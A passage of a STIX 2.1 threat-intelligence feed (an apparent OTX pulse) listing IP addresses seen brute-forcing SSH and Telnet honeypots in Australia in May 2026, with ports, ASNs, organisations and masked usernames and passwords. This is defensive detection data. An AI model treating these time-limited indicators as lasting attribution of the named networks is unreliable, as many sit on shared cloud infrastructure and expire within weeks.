      "id": "indicator--1944b00d-a43c-4f8f-8287-c1f74f08a96c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.143.227.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--4256a1aa-f549-405e-b0d1-6fb413463839",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.15.187.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, ***, t**t, 3**********4, a***n. Passwords observed (masked): 1*******9, 1****7, 3***********4, 3**********4, Q*******3.",
      "id": "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.233.193.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11404. Organisation(s): Wave Broadband.",
      "id": "indicator--74ba75d2-5716-4260-bff9-c8ba1d991348",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.14.131.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T03:21:32.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 5617. Organisation(s): Orange Polska Spolka Akcyjna.",
      "id": "indicator--dd82df4f-4853-45e3-8dc8-6c2285ddc20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T03:21:32.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.189.129.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T03:21:32.000Z",
      "valid_until": "2026-06-07T03:15:03.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, u****u, a***n, t******r, 3**********4. Passwords observed (masked): ***, !*****&, !**********c, 1****6, 1******Q.",
      "id": "indicator--9d0fd95d-ee90-4222-a795-6c548e443385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.88.137.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 9534. Organisation(s): Binariang Berhad.",
      "id": "indicator--653af106-fd11-4e9a-8c40-71bb7180cce6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.211.103.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--b92fd9dd-acf9-4660-88d0-a4f392d39483",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.178.177.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--da98135b-4d3c-40f3-94b5-a4eb1e293787",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.43.251.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ab82aa7e-2f0a-4c9a-b231-4c32425e1c6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.142.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d6ed0890-8738-4b7b-9902-839fb68b5636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.77.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271671. Organisation(s): REALTEC NETWORKS LTDA.",
      "id": "indicator--843547c1-e9ac-4d24-b831-03098c07920e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.232.123.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 12297. Organisation(s): Telecom Armenia OJSC.",
      "id": "indicator--cd4978b8-4028-41c9-9d28-c184b59ecca9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.160.203.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Heralding. Target ports: 1080. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t, a***n, ***, ***, g***t. Passwords observed (masked): ***, 1****6, p******d, *, 1****3.",
      "id": "indicator--c8576f7c-9b69-412a-b409-3d98f083c394",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.185.221.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a4baac67-01c2-4b1d-bceb-d351d1be31fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d60158e8-5180-41d9-ba35-fcdb12900c73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.22.66.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--db8d6535-092b-43da-b7c2-2ae3af8e183d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.156.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--5d765fc1-bec3-42ee-86ce-5915eb37f21e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.185.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, u****u, a***n, m****r, m***l. Passwords observed (masked): 1**4, ***, 1***5, 1*******9, 1******x.",
      "id": "indicator--98966ea4-7972-4d0b-b2ac-96b178ccba6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.93.128.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T04:15:10.000Z",
      "valid_until": "2026-06-07T04:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 151066. Organisation(s): Imperial network inc.",
      "id": "indicator--40524c75-6921-4995-a3d8-8aac22587020",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.129.125.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--18c499a3-593e-489f-aa99-87e650982df2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.235.219.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--eebfd518-1034-4220-8b13-93dc295501d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.44.244.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--b182e139-0c9c-4764-b652-944c62fa3c3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.227.61.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*********************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--53602032-081e-42e0-b972-b5a377538511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.254.174.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): a***n, ***, u****u. Passwords observed (masked): q*****4, q*******3, s****t.",
      "id": "indicator--be9e2fd2-57ef-4d64-8fec-c23600bcef50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.59.110.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 30689. Organisation(s): FLOW.",
      "id": "indicator--8775a487-fe12-4d44-9c98-f0882addcbf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.252.198.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BG. ASN(s): 50360. Organisation(s): Tamatiya EOOD.",
      "id": "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 15704. Organisation(s): Xtra Telecom S.A..",
      "id": "indicator--8777c0fd-acb6-4744-8716-ee603dd5487a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.30.14.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 41668. Organisation(s): JSC ER-Telecom Holding.",
      "id": "indicator--2a9a1197-6fe4-429d-8ff8-e03a5e8addeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.180.238.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--eb60e313-3a00-4fb1-a7db-97a27c8feb4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T05:15:10.000Z",
      "valid_until": "2026-06-07T05:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--e28b0368-8e3e-4889-811d-547155a1cd13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.200.25.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7ab64793-88c3-4c07-b3e5-3502fb11a7d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.229.3.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--70ffa226-bac5-4c65-bb63-5dc3bf2e4295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.194.13.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--104d1423-1731-49f8-aef3-5c6d7aee10e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.250.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 36907. Organisation(s): TVCaboAngola.",
      "id": "indicator--37aa1f69-da7d-4abe-b4f7-ca3d410e81c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.71.132.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T06:15:10.000Z",
      "valid_until": "2026-06-07T06:15:08.000Z"
    },
    {
      "created": "2026-05-06T06:15:10.000Z",
